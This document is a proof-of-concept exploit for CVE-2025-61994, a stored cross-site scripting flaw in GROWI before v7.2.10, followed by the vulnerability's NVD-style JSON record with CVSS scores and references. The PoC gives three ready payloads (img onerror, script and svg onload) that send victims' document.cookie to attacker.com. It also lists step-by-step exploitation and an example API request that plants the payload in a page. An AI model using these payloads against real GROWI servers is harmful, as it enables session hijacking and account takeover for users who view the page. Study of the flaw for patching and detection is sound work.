CVE-2025-61994

// CVE-2025-61994 PoC - Stored XSS in GROWI // Target: GROWI < v7.2.10 // Author: [email protected] // Method 1: Image tag with onerror handler const payload1 = '<img src=x onerror="fetch(`https://attacker.com/steal?c=${document.cookie}`)">'; // Method 2: Script tag injection const payload2 = '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>'; // Method 3: SVG element with onload const payload3 = '<svg onload="fetch(`https://attacker.com/steal?data=${btoa(document.cookie)}`)">'; // Exploitation steps: // 1. Attacker with low-privilege account creates a new page // 2. Insert XSS payload into page content // 3. Save and publish the page // 4. When victim views the page, XSS payload executes // Example request to create malicious page: /* POST /_api/pages HTTP/1.1 Host: target-growi-server.com Content-Type: application/json Cookie: [attacker_session_cookie] { "body": "<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">", "format": "markdown", "path": "/MaliciousPage" } */

{"cve": {"id": "CVE-2025-61994", "sourceIdentifier": "[email protected]", "published": "2025-11-06T05:16:09.407", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-site scripting vulnerability exists in GROWI prior to v7.2.10. If a malicious user creates a page containing crafted contents, an arbitrary script may be executed on the web browser of a victim user who accesses the page."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://growi.co.jp/news/39/", "source": "[email protected]"}, {"url": "https://jvn.jp/en/jp/JVN95942191/", "source": "[email protected]"}]}}